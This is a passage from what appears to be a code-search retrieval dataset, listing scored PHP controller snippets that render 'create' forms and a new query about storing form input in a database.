"8833e5d4ef4d0cbd0c24ff5ec2a1661c", "score": "0.72751355", "text": "public function create() {\n // View with a form\n return view('create');\n }", "title": "" }, { "docid": "ee98362215b714ada087b095dbaa2786", "score": "0.7254801", "text": "public function create()\n {\n return view('libros.form');\n }", "title": "" }, { "docid": "07f489b5920e8e515a252e3a556a445e", "score": "0.72402084", "text": "public function create()\n {\n return view('/informationForm');\n }", "title": "" }, { "docid": "5ed71688e44b59ce8bfa48e11136925b", "score": "0.722405", "text": "public function create()\n {\n return view('backend.forms.create');\n }", "title": "" }, { "docid": "b669f070b96c62b6c7dd6c6d62678e03", "score": "0.7223425", "text": "public function create()\n {\n return view(\"admin.add_new\");\n }", "title": "" }, { "docid": "755e91a474eae625dfda22659e4c1f6c", "score": "0.7219337", "text": "public function create()\n {\n return view('form.create');\n }", "title": "" }, { "docid": "067a134abf6125c342c56b1ef91e1eeb", "score": "0.72162235", "text": "public function create()\n {\n // Show creation form\n return view(\"app.data-new\");\n }", "title": "" }, { "docid": "3fb888dea195139fc63f84a6e5b7db63", "score": "0.72009337", "text": "public function create()\n {\n return View::make($this->resourceView.'.create');\n }", "title": "" }, { "docid": "98d06b49a25eca742de2d2725f07c2b9", "score": "0.7182766", "text": "public function create()\n {\n return view('back.forms.create');\n }", "title": "" }, { "docid": "14eb25b8645bd80d69c0874afb39257f", "score": "0.71790767", "text": "public function create()\n {\n // Show the page\n return view('admin.material.create_edit');\n }", "title": "" }, { "docid": "c24e65c8a92dd430f73967cd2fb00ec9", "score": "0.7177092", "text": "public function create()\n {\n $this->resetValidation();\n $this->reset(['fields', 'is_editing']);\n\n $this->showForm();\n }", "title": "" }, { "docid": "d7792233bdf3a051b8ecc8a3bf85491e", "score": "0.7169677", "text": "public function create()\n {\n return view('admin.form.create');\n }", "title": "" }, { "docid": "2e0866dd4968a0252a9972c2a0f1a8f1", "score": "0.71673554", "text": "public function create()\n {\n\n $this->data[\"$this->modelName\"] = $this->model;\n $this->data[\"formRoute\"] = \"app.admin.$this->pluralModelName.create\";\n\n\n if ($this->package) {\n return \\View::make(\"{$this->package}{$this->pluralModelName}.form\", $this->data);\n }\n return \\View::make(\"{$this->pluralModelName}::form\", $this->data);\n }", "title": "" }, { "docid": "33888fcb4cc71e0f03093b8e8a5197ed", "score": "0.7147545", "text": "public function create()\n {\n return view('forms.addClientForm');\n }", "title": "" }, { "docid": "aea0d1aab0b4ab918e93439a4ab1c242", "score": "0.7131727", "text": "public function create()\n {\n $options = ['route' => sprintf('%s.%s', $this->type, $this->formAction)];\n\n return $this->render(compact('options'));\n }", "title": "" }, { "docid": "a49b82b2f45e7ba34835574231e74fc7", "score": "0.7123742", "text": "public function create() {\n return view('resto.create');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71151215", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71151215", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "e2fccfcb135b6e8bbace40258561a9d9", "score": "0.71005434", "text": "public function create() {\n return view('backend.car.new');\n }", "title": "" }, { "docid": "2d47830de802ad372b9413f5c799b6ed", "score": "0.70996916", "text": "public function create()\n {\n // View create form\n return view('client.create');\n }", "title": "" }, { "docid": "b7c6cd46917c26fb065c2292eecc323e", "score": "0.70848703", "text": "public function showCreateForm()\n {\n return view(\"admin.report.create\");\n }", "title": "" }, { "docid": "c27004d00e3f9afb85f74623ec456ca9", "score": "0.7079313", "text": "public function create()\n {\n //\n return view('form');\n }", "title": "" }, { "docid": "9bb0d731ffffb70cb4894ae1bcfbef68", "score": "0.7079178", "text": "public function newAction() {\n \n $this->tag->setTitle('New User');\n $this->breadcrumbs->add('User',$this->url->getBackend());\n $this->breadcrumbs->add('Add User');\n\n if (!$this->theForm) $this->theForm = new UserForm();\n \n $this->view->setVars([\n 'form' => $this->theForm,\n 'disableHeaderMessage' => TRUE,\n ]);\n $this->view->pick('user/form');\n }", "title": "" }, { "docid": "0ee6b9ec9193265a43d0071906bdbba8", "score": "0.7067851", "text": "public function create()\n {\n return view(\"admin.fasilitas.form\");\n }", "title": "" }, { "docid": "5c9edf7a5ebaed5b2ffdda69a3142b5e", "score": "0.7054903", "text": "public function create()\n {\n //\n return view('fabricante.FormCreate');\n }", "title": "" }, { "docid": "0811f3b35e8abdf159ef38fbd5921e43", "score": "0.7053055", "text": "public function showCreateForm()\n {\n if (!Auth::check('user')) {\n return view('auth/login');\n };\n\n return view('poll/create');\n }", "title": "" }, { "docid": "21ca75fbf4cead94faae6a4003ecc093", "score": "0.7049312", "text": "public function create()\n\t{\n\t\t\n\t\t$resourcetags = array();\n\t\t$tags = Tag::all();\n\t\t$this->layout->content = View::make(\"resources.create\", compact('resourcetags', 'tags'));\n\t}", "title": "" }, { "docid": "6d6638d93353979e91d132adb030c770", "score": "0.70479625", "text": "public function create()\n {\n return view('arl.create');\n }", "title": "" }, { "docid": "c3830347da2f5033313539354fb374a1", "score": "0.7047876", "text": "public function create()\n {\n return view('form.newdokter');\n }", "title": "" }, { "docid": "e8ae4b7ffa4723fa50e5657bde33cb9c", "score": "0.70406675", "text": "public function create()\n\t{\n\t\treturn view('lokasis.create');\n\t}", "title": "" }, { "docid": "ee99d4dc55d426f11cebc62caa686b30", "score": "0.70293194", "text": "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem(\"Inicio\", $this->get(\"router\")->generate(\"home_page\"));\n $breadcrumbs->addItem(\"Infraccion\", $this->get(\"router\")->generate(\"infraccion\"));\n $breadcrumbs->addItem(\"Nuevo\");\n $entity = new Infraccion();\n $form = $this->createForm(new InfraccionType(), $entity);\n\n return $this->render('InfraccionBundle:Infraccion:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "5aeb76e66efd1357306038b0083ff2c3", "score": "0.7022923", "text": "public function create()\n {\n // Renderizar formulario para nuevo registro\n return view('admin.director.create');\n }", "title": "" }, { "docid": "dd5b0f3ce27dfd87ed7122c7b68a7c1a", "score": "0.7022828", "text": "public function create()\n {\n $car_status = $this->car_status;\n $meta = \"Create\";\n\n return view('car.form', compact('meta', 'car_status'));\n }", "title": "" }, { "docid": "d0a0415989715b5b5654f1e48db01a96", "score": "0.7020018", "text": "public function formCreate()\n {\n return view('clients.formCreate');\n }", "title": "" }, { "docid": "7ca42f9e26eceaf20c6f09a15e65e991", "score": "0.70142627", "text": "public function create()\n {\n $this->init();\n\n $model = \"App\\\\\".$this->model;\n $action = $this->action;\n $view=$this->model;\n\n $form = $model::form();\n\n\n return view('forms.add',compact( \"form\", 'action','view'));\n }", "title": "" }, { "docid": "3d29af10b4a3a63ad19ba85639f8ccb5", "score": "0.70111156", "text": "public function create()\n {\n //Creare Studenti (Form per inserire le informazioni)\n return view('student.create');\n }", "title": "" }, { "docid": "d85281966cc367fac063f9b9134161a5", "score": "0.70065373", "text": "public function create()\n {\n $form = $this->form;\n $route = $this->route;\n\n return view($this->rCreate,compact('form','route'));\n }", "title": "" }, { "docid": "b679c40074f9111d684e22f203cdc583", "score": "0.7002176", "text": "public function create()\n {\n return view('projects_forms.create');\n }", "title": "" }, { "docid": "5ebde8e797b651ee38647f3ebdaa6ed2", "score": "0.69996583", "text": "public function create()\n {\n return view ('student.add');\n }", "title": "" }, { "docid": "6fa062499d7b6569cf7f999f8c656ce5", "score": "0.6992502", "text": "public function create()\n {\n return view('about.form.create');\n }", "title": "" }, { "docid": "98811bcda96da1bb035f86f6bb53ebfc", "score": "0.699148", "text": "public function create()\n {\n return view('admin.new.create');\n //\n }", "title": "" }, { "docid": "fd564bf5840d9d004110195e2ea8caac", "score": "0.69898134", "text": "public function create()\n {\n return view('personil.form');\n }", "title": "" }, { "docid": "e58f17523277fc6c291ecbf3f817eb22", "score": "0.69861245", "text": "public function create()\n {\n return view('radars.create');\n }", "title": "" }, { "docid": "e58f17523277fc6c291ecbf3f817eb22", "score": "0.69861245", "text": "public function create()\n {\n return view('radars.create');\n }", "title": "" }, { "docid": "c566e9d1861ec0a585d782640f88115e", "score": "0.6985611", "text": "public function create()\n {\n //\n return view(\"products.form\")->with([\n \"product\" => new Product(),\n \"action\" => \"/products\",\n \"method\" => \"POST\"\n ]);\n }", "title": "" }, { "docid": "5a27005c67429ee148bb4445da9a4f82", "score": "0.69821835", "text": "public function create()\n {\n return view('management.create');\n }", "title": "" }, { "docid": "270cbed854a0719c8772b2194b3fb90a", "score": "0.6976323", "text": "public function newAction()\n {\n $entity = new Ruta();\n $form = $this->createForm(new RutaType(), $entity);\n\n return $this->render('RutaMicroBundle:Ruta:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "5f3c68b60fd80eb4444eb7152dfbb94e", "score": "0.6970627", "text": "public function create()\n {\n $page_title = __(\" Add consult\");\n $page_description = __(\" Add new consult\");\n return view('school.consult.create', compact('page_title', 'page_description'));\n }", "title": "" }, { "docid": "3550257fb37b0afbdb6907ce7bcfa97c", "score": "0.6968119", "text": "public function create()\n\t{\n\t\t//\n\t\treturn View::make(\"admin.newStudent\");\n\n\t}", "title": "" }, { "docid": "5ccbefe1f6b35224d550c04618929098", "score": "0.69677013", "text": "public function create()\n {\n return view('forms.newUser');\n }", "title": "" }, { "docid": "307bb1f1a7654e2dd53bf64336069792", "score": "0.69671667", "text": "public function create()\n {\n return view('url.form');\n }", "title": "" }, { "docid": "8e51e1b3126c2bddb89f48578f55b0df", "score": "0.696098", "text": "public function newAction()\n {\n $entity = new Student();\n $form = $this->createForm(new StudentType(), $entity);\n\n return $this->render('BdxTutoratBundle:Student:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }", "title": "" }, { "docid": "279f28fbbb4daa2b04b92c9524bc3793", "score": "0.6960053", "text": "public function newAction()\n {\n $this->view->form = new UsersForm(null, array('create' => true));\n }", "title": "" }, { "docid": "cbe6d3677d39be698b72d0cc40cc79ec", "score": "0.69577694", "text": "public function create()\n {\n // \n /*\n *RETURN CREATE FORM BLADE\n */\n //\n return View('company.create');\n }", "title": "" }, { "docid": "b8e99d11c1bb25036e33dc3a5647bea2", "score": "0.6956205", "text": "public function create()\n {\n $data['action'] = 'kontrak.store';\n return view('kontrak.form', $data);\n }", "title": "" }, { "docid": "ea30089b05638deecfcdcc640118738c", "score": "0.6956021", "text": "public function create()\n {\n return view('student.add');\n }", "title": "" }, { "docid": "f18f0d893e1e12d83e8864a9a8c0f0b2", "score": "0.69511765", "text": "public function newAction()\n {\n $entity = new Question();\n \n $form = $this->createCreateForm($entity);\n\n return $this->render('StelQuestionBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "d2dfb39011e7751d334f3b102132bcc0", "score": "0.6937103", "text": "public function create()\n {\n return view('libro.create');\n }", "title": "" }, { "docid": "b755f6dc762c7fcef5960693dc550a8c", "score": "0.69370186", "text": "public function create()\n {\n return view('relatorio/create');\n }", "title": "" }, { "docid": "f05f4a2f83cd17b9bd5adbe347692097", "score": "0.69344753", "text": "public function create()\n {\n $form = new Form;\n return view('customForms.create');\n }", "title": "" }, { "docid": "3bd5f8f33a9a9f7308459ce2c15c8eea", "score": "0.69339764", "text": "public function create()\n {\n return view('admin/sucursal_form');\n }", "title": "" }, { "docid": "c1837ba0b5873eb669c993210480e9c2", "score": "0.6926749", "text": "public function create()\n\t{\n\t\treturn view('turista.create');\n\t}", "title": "" }, { "docid": "047181576c3e6ad0088b9b96fa131b35", "score": "0.69194245", "text": "public function create() {\n $data['crud_table'] = $this->table_name();\n return view('crud.'.$this->table_name().'._form')->with($data);\n }", "title": "" }, { "docid": "07b34800d82b4752154612b743b2fbf0", "score": "0.69190544", "text": "public function create()\n {\n return view('rescuer.create');\n }", "title": "" }, { "docid": "850e83d2b304c9abb6eb4fa4264598c2", "score": "0.69185776", "text": "public function create()\n {\n $data = new supplier();\n return view('admin.master.supplier.form', compact('data'));\n }", "title": "" }, { "docid": "c4416390a701ec4941a20dc3ab095a2a", "score": "0.6918386", "text": "public function create()\n\t{\n\t\treturn view('create');\n\t}", "title": "" }, { "docid": "35c563964f6d86122b762a351b30e581", "score": "0.69097316", "text": "public function newAction()\n {\n $entity = new Prueba();\n $form = $this->createForm(new PruebaType(), $entity);\n\n return $this->render('AuditoriaBundle:Prueba:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "f9a1258e50a03182d193266b2526e6db", "score": "0.6907807", "text": "public function create()\n {\n return view('mir.create');\n }", "title": "" }, { "docid": "72d216b75443b4090ac0a1387c18009c", "score": "0.6906267", "text": "public function create()\n {\n //\n return view('crud.add');\n }", "title": "" }, { "docid": "33812f00a7ea90b676f5b715bd231e74", "score": "0.69017655", "text": "public function newAction() {\n\t\t$this->view->form = $this->getForm ( \"/admin/services/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Service\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new service\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/services/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\r\n\t\t\n\t\t$this->render ( 'applicantform' );\n\t}", "title": "" }, { "docid": "e88b17f0dfcb8e1d7ac04c5b9f6af8f1", "score": "0.6901358", "text": "public function create()\n {\n return view('cars.form');\n }", "title": "" }, { "docid": "5be46dd600196087a3b8464e42aa9f4f", "score": "0.6896919", "text": "public function create()\n {\n $data['action'] = 'karyawan.store';\n return view('karyawan.form', $data);\n }", "title": "" }, { "docid": "1b589526d939246aa9ef7b40179c7739", "score": "0.6896275", "text": "public function create()\n {\n $title = 'Thêm trạng thái';\n return view('service._form', compact('title'));\n }", "title": "" }, { "docid": "9a709a92af338fffb07b6fe3d45b4129", "score": "0.68959475", "text": "public function new()\n\t{\n\t\treturn view('Dadmin/create');\n\t}", "title": "" }, { "docid": "5b7558f5f0a446dd445867917bd98918", "score": "0.68952405", "text": "public function create()\n {\n return view('che.add');\n }", "title": "" }, { "docid": "fbdf9369686334f9d6c8e43c9232fff9", "score": "0.6892735", "text": "public function create()\n {\n Return view(\"admin.productsform\");\n }", "title": "" }, { "docid": "5a8dd9cdd3724225efe424e0e91baf8e", "score": "0.6889946", "text": "public function createAction()\n {\n\n $form = $this->_doServerForm();\n $this->view->form = $form;\n\n }", "title": "" }, { "docid": "bdb0161d2f2f44cdaea93bf890a4c02e", "score": "0.6887399", "text": "public function create()\n {\n return view(\"create\");\n }", "title": "" }, { "docid": "037551b0e96b00a002be40f361b54ad7", "score": "0.6886411", "text": "public function create()\n {\n return view('paul.create');\n }", "title": "" }, { "docid": "70acd05f150e38467827ec0ef2853a04", "score": "0.68856925", "text": "protected function create()\n {\n $internauta = new Internauta();\n return view('/layouts/admin/internauta_form',compact('internauta'));\n }", "title": "" }, { "docid": "da11617a72ceec362ed235f9a4d58453", "score": "0.688433", "text": "public function create()\n {\n return view('escuderia.escuderia-form');\n }", "title": "" }, { "docid": "af54a363bc62302637235c045a2f56b8", "score": "0.6882272", "text": "public function create()\n {\n return view('admin.iva99030.create');\n }", "title": "" }, { "docid": "7f965f069e40f5f6854b6a3bf71c5cd3", "score": "0.68809235", "text": "public function create()\n {\n return view('eksterior.create');\n }", "title": "" }, { "docid": "03402f9ca28344e85e26fd6084f319a0", "score": "0.68807", "text": "public function create()\n {\n return view('widoki.create');\n }", "title": "" }, { "docid": "a705ec418ba0a86ae6e21101240fcc17", "score": "0.68776697", "text": "abstract protected function showCreateForm();", "title": "" }, { "docid": "e140a12761122070f5327b09900c0721", "score": "0.68762547", "text": "public function create()\n {\n return view('control1.create');\n }", "title": "" }, { "docid": "6e1e5668e0314c521059488779983d78", "score": "0.6874197", "text": "public function create()\n {\n return view('creation');\n }", "title": "" }, { "docid": "a3c5b11bbc0c856907f42999109e1b8c", "score": "0.6873689", "text": "public function create()\n\t{\n\t\t// return View::make('espressioni.create');\n\t\treturn View::make('espressioni.edit');\n\t}", "title": "" }, { "docid": "180353d80dab0370c281cce907176a1c", "score": "0.6873073", "text": "public function create()\n\t{\n\t\treturn view('periksas.create');\n\t}", "title": "" }, { "docid": "b8d69a4dd5760808d6a1a17f2f8affae", "score": "0.6872627", "text": "public function create()\n\t{\n\t\treturn View::make('create');\n\t\n\t}", "title": "" } ]
831a0defe0da2c886781ec4f46ac36fa
Retrieve the input values and store them into the database
[ { "docid": "98dce390d0cf3d7bff8e2e011b5ddbff", "score": "0.0", "text": "private function sameValues($data, $product)\n {\n $product->category_id = $data['category_id'];\n $product->product_name = $data['product_name'];\n $product->description = $data['description'];\n $product->price = $data['price'];\n $product->slug = snake_case(trim(ucwords($data['slug'])));\n if((!empty($product->image)) && $product->image !== 'default.jpg'){\n unlink('img/products/' . $product->image);\n }\n $product->image = $data['image'];\n $product->save();\n }", "title": "" } ]
[ { "docid": "d46bbc974714f182f687bf32a183f0f6", "score": "0.6350072", "text": "function db_input() {\n \n}", "title": "" }, { "docid": "81eb3eb0ebf63921ba6f937a37b0f38c", "score": "0.6302575", "text": "public function store() {\n $data = \\Input::all();\n unset($data['_token']);\n \\DB::table('build_depend_value')->insert($data);\n }", "title": "" }, { "docid": "d86f0e4cd65784155a1f248fb30a69f7", "score": "0.61755383", "text": "function getfieldvalues(){\r\n\t\t$columns = $this->getcolumnnames();\r\n\t\tforeach($columns as $column){\r\n\t\t\tif(array_key_exists($column, $_REQUEST) && /* strlen($_REQUEST[$column]) > 0 && */$_REQUEST[$column] != \"undefined\"){\r\n\t\t\t\t$value = $_REQUEST[$column];\r\n\t\t\t\tif(method_exists($this, \"set{$column}\")){\r\n\t\t\t\t\tcall_user_func(array($this, \"set{$column}\"), $value);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "2c3f795eb4ee4eaf41b57979ff664f07", "score": "0.6091603", "text": "public function setVariables(){\n\t\t// Initial sample storage data\n\t\t$this->input = array(\n\t\t\t'patient_number' => '6666',//Must be unique!\n\t\t\t'name' => 'Bob Tzhebuilder',\n\t\t\t'dob' => '1930-07-05',\n\t\t\t'gender' => '0',//male\n\t\t\t'email' => '[email protected]',\n\t\t\t'address' => '788347 W3-x2 Down.croncrete',\n\t\t\t'phone_number' => '+189012402938',\n\t\t);\n\n\t\t// Edition sample data\n\t\t$this->inputUpdate = array(\n\t\t\t'patient_number' => '5555',\n\t\t\t'name' => 'Bob Thebuilder',\n\t\t\t'dob' => '1900-07-05',\n\t\t\t'gender' => '0',//male\n\t\t\t'email' => '[email protected]',\n\t\t\t'address' => '788357 W3-x2 Down.croncrete',\n\t\t\t'phone_number' => '+18966602938',\n\t\t);\n\t}", "title": "" }, { "docid": "ac66c0f1eed025714d0ecc99aff555b8", "score": "0.6083327", "text": "private function save_insert() {\n \tif (!empty($this->_set_insert_data)) \n \t\t$this->createInsertArray();\n \t\n \t$fieldsarray = explode(',',$this->_fieldsNames);\n \t\n \tforeach ($this->_insert_data as $data) {\n \t\t$args = array();\n \t\t$fields = array();\n \t\t\n \t\t//To maintain the order of the values\n \t\tforeach ($fieldsarray as $field) {\n \t\t\tif (isset($data[$field])) {\n \t\t\t\t\t$fields[] = $this->getActualFieldName($field); \t\t\t\n \t\t\t\t$args[] = $data[$field];\n \t\t\t}\n \t\t}\n \t\t\n \t\t$q = 'INSERT INTO ' . $this->_tablename . '(' . implode(',',$fields) . ')\n \t\t\t\tVALUES(' . implode(',', array_fill(0, count($args),'?')) . ')'; //little one liner from http://www.php.net/manual/en/function.str-repeat.php#90555 \t\n \t\t\n \t\t$this->query($q, $args); \t\t \t\t\n \t}\n \t\n\t \t//Auto populating the id propertie with the last id if there is an id\n\t\tif ($this->_primarykey)\n\t\t\t$this->id = $this->lastid(); \n\t\t\t\n\t\t$this->_insert_data = null;\n }", "title": "" }, { "docid": "4760751ae9dd747eefa22f34bd6f3076", "score": "0.60829115", "text": "function readInputData() {\n\t\t$this->readUserVars(array(\n\t\t\t'salutation',\n\t\t\t'firstName',\n\t\t\t'middleName',\n\t\t\t'lastName',\n\t\t\t'gender',\n\t\t\t'initials',\n\t\t\t'affiliation',\n\t\t\t'email',\n\t\t\t'userUrl',\n\t\t\t'phone',\n\t\t\t'fax',\n\t\t\t'mailingAddress',\n\t\t\t'country',\n\t\t\t'biography',\n\t\t\t'interests',\n\t\t\t'gossip',\n\t\t\t'userLocales',\n\t\t\t'sendNotify',\n\t\t\t'username'\n\t\t));\n\n\t\tif ($this->getData('userLocales') == null || !is_array($this->getData('userLocales'))) {\n\t\t\t$this->setData('userLocales', array());\n\t\t}\n\n\t\tif ($this->getData('username') != null) {\n\t\t\t// Usernames must be lowercase\n\t\t\t$this->setData('username', strtolower($this->getData('username')));\n\t\t}\n\t}", "title": "" }, { "docid": "475f6dbfcba15243d658bffedfa559b7", "score": "0.6061074", "text": "public function save()\n {\n $table = $this->getTableName();\n // if not isset id add new record to database\n if (!isset($this->fieldValues['id'])) {\n $fields = join(',', array_keys($this->fieldValues));\n foreach ($this->fieldValues as $key => $value) {\n if (!is_int($value)) {\n $this->fieldValues[$key] = '\\''.$value.'\\'';\n }\n }\n $values = join(',', $this->fieldValues);\n \n $sql = 'INSERT INTO '.$table.'('.$fields.')'.\n ' VALUES('.$values.')';\n \n $pdo = DbMysql::getInstance();\n $pdo->exec($sql);\n }\n }", "title": "" }, { "docid": "72b9073d6b1763b4bc37edcd09286bab", "score": "0.60554826", "text": "public function get_data()\r\n\t{\t\r\n\t\t/*$query = \"INSERT INTO `user` (\r\n\t\t`id_user`,\t\r\n \t\t `name`,\r\n \t\t `surname`,\r\n \t\t `city`,\r\n \t\t `email`,\r\n \t\t `password`,\r\n\t \t `avatar`\r\n \t\t )\r\n\t\tVALUES (\r\n \t\t :id_user,\r\n \t\t :name,\r\n \t\t :surname,\r\n\t\t :city,\r\n \t\t :email,\r\n\t\t :password,\r\n\t\t :avatar\r\n\t\t)\";\r\n \r\n\t\t$args = [\r\n\t\t'id_user'=>NULL,\r\n \t\t 'name' => $_POST['name'],\r\n \t\t 'surname' => $_POST['name_2'],\r\n \t\t 'city' => $_POST['city'],\r\n \t\t 'email' =>$_POST['email'],\r\n \t\t'password' =>$_POST['password'],\r\n\t\t'avatar'=>NULL\r\n\t\t];\r\n $this->db->sql($query, $args);\t*/\r\n\t}", "title": "" }, { "docid": "a0e7eda7299ba47a8fc6c795fe1762b0", "score": "0.6054041", "text": "protected function getInputData()\n {\n (new HCECStockHistoryValidator())->validateForm();\n\n $_data = request()->all();\n\n if( array_has($_data, 'id') )\n array_set($data, 'record.id', array_get($_data, 'id'));\n\n array_set($data, 'record.good_id', array_get($_data, 'good_id'));\n array_set($data, 'record.warehouse_id', array_get($_data, 'warehouse_id'));\n array_set($data, 'record.action_id', array_get($_data, 'action_id'));\n array_set($data, 'record.user_id', array_get($_data, 'user_id'));\n array_set($data, 'record.amount', array_get($_data, 'amount'));\n array_set($data, 'record.prime_cost', array_get($_data, 'prime_cost'));\n array_set($data, 'record.comment', array_get($_data, 'comment'));\n\n return $data;\n }", "title": "" }, { "docid": "6630a1c7d352c763785513316eefb871", "score": "0.60238254", "text": "public function save_in_table () {\n\n $table = new db\\Seeder ($this->_table);\n $numargs = func_num_args();\n $x;\n if ($numargs >= 2) {\n \n for ($x = 0; $x < $numargs; $x++){\n\n $tab = func_get_arg($x);\n\n if (is_array($tab)){\n\n if(isset( $_POST[ func_get_arg($x)[1] ] )){\n\n $val = trim((string)func_get_arg($x)[0]);\n $table->$val = trim($_POST[ func_get_arg($x)[1] ]);\n }\n }else {\n\n if(isset( $_POST[ func_get_arg($x) ] )){\n\n $val = trim((string)func_get_arg($x));\n $table->$val = trim($_POST[ func_get_arg($x) ]);\n }\n }\n\n }\n\n $table->save($table);\n }\n\n }", "title": "" }, { "docid": "94c8c089d6a5f30f97da1def01d6a8e8", "score": "0.5959797", "text": "public function setVariables(){\n\t\t// Initial sample storage data\n\t\t$this->input = array(\n\t\t\t\n\t\t\t'name' => 'Bob Tzhebuilder',\n\t\t\t'phone_no' => '0728765432',\n\t\t\t'email' => '[email protected]',\n\t\t\t'physical_address' => '788347 W3-x2 Down.croncrete',\n\t\t\t\n\t\t);\n\n\t\t// Edition sample data\n\t\t$this->inputUpdate = array(\n\t\t\t\n\t\t\t'name' => 'Bob Thebuilder',\n\t\t\t'phone_no' => '0728765432',\n\t\t\t'email' => '[email protected]',\n\t\t\t'physical_address' => '788347 W3-x2 Down.croncrete',\n\t\t\t\t\t\t\n\t\t);\n\t}", "title": "" }, { "docid": "9f74e8c69b6ddeab330844080b5dcb88", "score": "0.5958109", "text": "protected function selectInputs()\n\t{\n\t\t// agregamos la llave primaria\n\t\t$this->values = $this->primary_key.\",\";\n\t\t// obtenemos una copia de los datos que se pueden guardar\n\t\t$fillables = $this->fillable;\n\t\t// recorremos el array de los campos que no se dejaran ver\n\t\tforeach ( $this->hidden as $hidden ) \n\t\t{\n\t\t\t// preguntamos si existe ese valor en el array de copia\n\t\t\tif( in_array( $hidden, $fillables ) )\n\t\t\t\t// eliminamos ese valor del array de copia\n\t\t\t\tunset( $fillables[ array_search( $hidden, $fillables ) ] );\n\t\t}\n\t\t// recorremos los campos finales para organizar la cadena \n\t\tforeach ($fillables as $data) \n\t\t{\n\t\t\t// organizamos la cadena para ser usada\n\t\t\t$this->values .= \" $data,\";\n\t\t}\n\t\t// eliminamos la coma del ultimo caracter para evitar problemas en la base de datos\n\t\t$this->values = $this->deleteLastWord( $this->values );\n\t\t// retornamos esta cadena para que sea utilizada en otras clases\n\t\treturn $this->values;\n\t}", "title": "" }, { "docid": "6e6abe8c20ca791d732d038ccecb06c9", "score": "0.5921855", "text": "public function insertValues()\n\t{\n\t\t$datas= array(\n\t\t\t'username' => $this->input->post('fullname'),\n\t\t\t'password' => password_hash($this->input->post('login_password'), PASSWORD_BCRYPT)\n\t\t\t);\n\t\t$this->load->model('registrationmodel');\n\t\tif($this->registrationmodel->getRegistration($datas))\n\t\t{\n\t\t\techo \"Values inserted\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->load->view('registration');\n\t\t}\n\t}", "title": "" }, { "docid": "86c0bc87b6bacf276646d46b0cfe2770", "score": "0.5905546", "text": "public function save() {\n\t\t#\tinsert query if this has no id\n\t\tif ($this->id == 0) {\n\t\t\t$builder = new QueryBuilder();\n\t\t\t$array = $this->output();\n\t\t\t$sql = $builder->build_insert(\n\t\t\t\t$this::$table,\n\t\t\t\t$this::$fillable,\n\t\t\t\t$this::$defaults,\n\t\t\t\t$array\n\t\t\t);\n\t\t\tDatabase::preparedQuery($sql, $array);\n\t\t\t#\tapply defaults\n\t\t\t$this->input($array);\n\t\t\t$this->setId(Database::lastId());\n\t\t}\n\t\t#\tupdate query if it has id\n\t\telse {\n\t\t\t$builder = new QueryBuilder();\n\t\t\t$array = $this->output();\n\t\t\t$sql = $builder->build_update(\n\t\t\t\t$this::$table,\n\t\t\t\t$this->id,\n\t\t\t\t$this::$fillable,\n\t\t\t\t$this::$defaults,\n\t\t\t\t$array\n\t\t\t);\n\t\t\tDatabase::preparedQuery($sql, $array);\n\t\t\t#\tapply defaults\n\t\t\t$this->input($array);\n\t\t}\n\t}", "title": "" }, { "docid": "d39c76df36b9e0611c1fde7a0f04b262", "score": "0.58801734", "text": "function readInputData() {\n\t\t$this->readUserVars(array('name', 'type', 'fieldNames'));\n\t}", "title": "" }, { "docid": "ecc35a05adf1bfca597da2cba6458075", "score": "0.5847956", "text": "function getPOSTValues($input){\n $set='(';\n $values = '(';\n foreach( $input as $key => $value){\n //discard the userid, for securtiy it set with session userid\n $set = $set . $key . \",\";\n $values = $values . \"'\" . $value . \"',\";\n }\n $set= rtrim($set,\",\") . ')';\n $values= rtrim($values,\",\") . ')';\n\n return $set . ' VALUES ' . $values;\n\n }", "title": "" }, { "docid": "56465bc8425980492af4ac9782d213e2", "score": "0.58442694", "text": "function readInputData() {\n\t\tparent::readInputData();\n\n\t\t// Read in the additional confirmation checkbox and price data.\n\t\t$this->readUserVars(array('confirm' ,'salesType', 'price'));\n\t}", "title": "" }, { "docid": "271e5dfb7fab70246b2e51076ff08256", "score": "0.58334744", "text": "public function Inputs ()\n\t\t{\n\t\t\t$arrInputs = unserialize($this->Pull('SQLFields')->getValue());\n\t\t\t//Debug(unserialize($this->Pull('SQLFields')->getValue()));\n\t\t\t//die;\n\t\t\t\n\t\t\t$oblarrInputs = new dataArray('Inputs');\n\t\t\t\n\t\t\tif (is_array($arrInputs))\n\t\t\t{\n\t\t\t\tforeach($arrInputs as $strName=>$arrInput)\n\t\t\t\t{\n\t\t\t\t\t$oblarrField\t\t= $oblarrInputs->Push(new dataArray('Input'));\n\t\t\t\t\t$oblstrName\t\t\t= $oblarrField->Push(new dataString('Name', $strName));\n\t\t\t\t\t\n\t\t\t\t\t$oblstrDocEntity\t= $oblarrField->Push(new dataString('Documentation-Entity',\t$arrInput['Documentation-Entity']));\n\t\t\t\t\t$oblstrDocField\t\t= $oblarrField->Push(new dataString('Documentation-Field',\t$arrInput['Documentation-Field']));\n\t\t\t\t\t\n\t\t\t\t\t$oblstrType\t\t\t= $oblarrField->Push(new dataString('Type',\t\t\t\t\t$arrInput['Type']));\n\t\t\t\t\t\n\t\t\t\t\tif (class_exists($arrInput['Type']))\n\t\t\t\t\t{\n\t\t\t\t\t\t// Is it a Statement?\n\t\t\t\t\t\tif 